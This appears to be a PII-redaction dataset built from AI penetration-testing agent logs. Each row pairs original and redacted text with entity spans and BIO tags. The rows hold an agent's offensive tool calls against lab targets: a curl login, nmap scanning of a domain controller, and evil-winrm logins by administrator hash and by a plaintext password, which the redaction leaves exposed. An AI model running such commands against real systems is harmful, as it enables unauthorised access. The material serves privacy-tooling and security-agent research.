id_portswigger_4;"{""command"": ""curl"", ""args"": ""-i -X POST -d \""csrf=D4M4bdhsWYKxREHAQ7sc1IOMJkwXTGzq&username=wiener&password=peter\"" https://0ac2006504c2d4e1e7dd92dc00f40026.web-security-academy.net/login""}";"{""command"": ""curl"", ""args"": ""-i -X POST -d \""csrf=D4M4bdhsWYKxREHAQ7sc1IOMJkwXTGzq&username=[PERSON]&password=[PERSON]\"" [URL]""}";92:100:PERSON|110:118:PERSON|121:126:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOB-URLI-URLI-URLI-URLI-URLOO;pentestperf;{'role': 'assistant'};92:97:PERSON|108:113:PERSON|116:121:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb_1;"{""command"": ""evil-winrm"", ""args"": ""-i 10.10.11.42 -u administrator -H \""3dc553ce4b9fd20bd016e098d2d2fd2e\"""", ""async_mode"": true}";"{""command"": ""evil-winrm"", ""args"": ""-i [IP_ADDRESS] -u administrator -H \""3dc553ce4b9fd20bd016e098d2d2fd2e\"""", ""async_mode"": true}";38:50:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};38:43:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb_2;Created session b74aca50. Use this ID to interact with the session.;Created session b74aca50. Use this ID to interact with the session.;;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb_3;"echo Get-ChildItem -Path C:\Users\Administrator\Desktop
|
||
";"echo Get-ChildItem -Path C:\Users\Administrator\Desktop
|
||
";;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb_4;"{""command"": ""session"", ""args"": ""kill b74aca50""}";"{""command"": ""session"", ""args"": ""kill b74aca50""}";;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb_5;"[0;34mEvil-WinRM shell v3.7[0m
|
||
|
||
[0;1;33mWarning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine[0m
|
||
|
||
[0;35mData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion[0m
|
||
|
||
[0;1;33mWarning: Useless cert/s provided, SSL is not enabled[0m
|
||
|
||
[0;34mInfo: Establishing connection to remote endpoint[0m";"[0;34mEvil-WinRM shell v3.7[0m
|
||
|
||
[0;1;33mWarning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine[0m
|
||
|
||
[0;35mData: For more information, check Evil-WinRM GitHub: [URL]
|
||
|
||
[0;1;33mWarning: Useless cert/s provided, SSL is not enabled[0m
|
||
|
||
[0;34mInfo: Establishing connection to remote endpoint[0m";319:324:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};319:324:URL;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb2_1;"{""command"": ""nmap"", ""args"": ""-Pn -sV 10.10.11.42 -p 445,3389,5985,80,443,88,389,636 --open""}";"{""command"": ""nmap"", ""args"": ""-Pn -sV [IP_ADDRESS] -p 445,3389,5985,80,443,88,389,636 --open""}";37:49:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};37:42:IP_ADDRESS;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb2_2;"Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 17:31 UTC
|
||
Nmap scan report for 10.10.11.42
|
||
Host is up (0.056s latency).
|
||
Not shown: 3 closed tcp ports (reset)
|
||
PORT STATE SERVICE VERSION
|
||
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-07 00:31:29Z)
|
||
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
|
||
445/tcp open microsoft-ds?
|
||
636/tcp open tcpwrapped
|
||
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds";"Starting Nmap 7.95 ( [URL] ) at [DATE_TIME] [DATE_TIME]
|
||
Nmap scan report for [IP_ADDRESS]
|
||
Host is up (0.056s latency).
|
||
Not shown: 3 closed tcp ports (reset)
|
||
PORT STATE SERVICE VERSION
|
||
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: [DATE_TIME] [DATE_TIME])
|
||
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: [URL]., Site: Default-First-Site-Name)
|
||
445/tcp open microsoft-ds?
|
||
636/tcp open tcpwrapped
|
||
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||
Service Info: Host: DC; OS: Windows; cpe:/o:microsoft:windows
|
||
|
||
Service detection performed. Please report any incorrect results at [URL].
|
||
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds";21:26:URL|32:43:DATE_TIME|75:87:IP_ADDRESS|362:367:URL|562:567:URL|637:642:URL;OOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'tool'};21:26:URL|43:48:DATE_TIME|54:59:DATE_TIME|85:90:IP_ADDRESS|271:276:DATE_TIME|282:287:DATE_TIME|371:376:URL|683:688:URL;OOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOB-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEI-DATE_TIMEOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-URLI-URLI-URLI-URLI-URLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
|
||
id_htb2_3;"{""command"": ""evil-winrm"", ""args"": ""-i 10.10.11.42 -u Olivia -p ichliebedich""}";"{""command"": ""evil-winrm"", ""args"": ""-i [IP_ADDRESS] -u [PERSON] -p ichliebedich""}";38:50:IP_ADDRESS|54:62:PERSON;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOOOOOOOOOOOOOOOO;pentestperf;{'role': 'assistant'};38:43:IP_ADDRESS|53:58:PERSON;OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOB-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSI-IP_ADDRESSOOOOOOOOOOB-PERSONI-PERSONI-PERSONI-PERSONI-PERSONOOOOOOOOOOOOOOOOOOO
|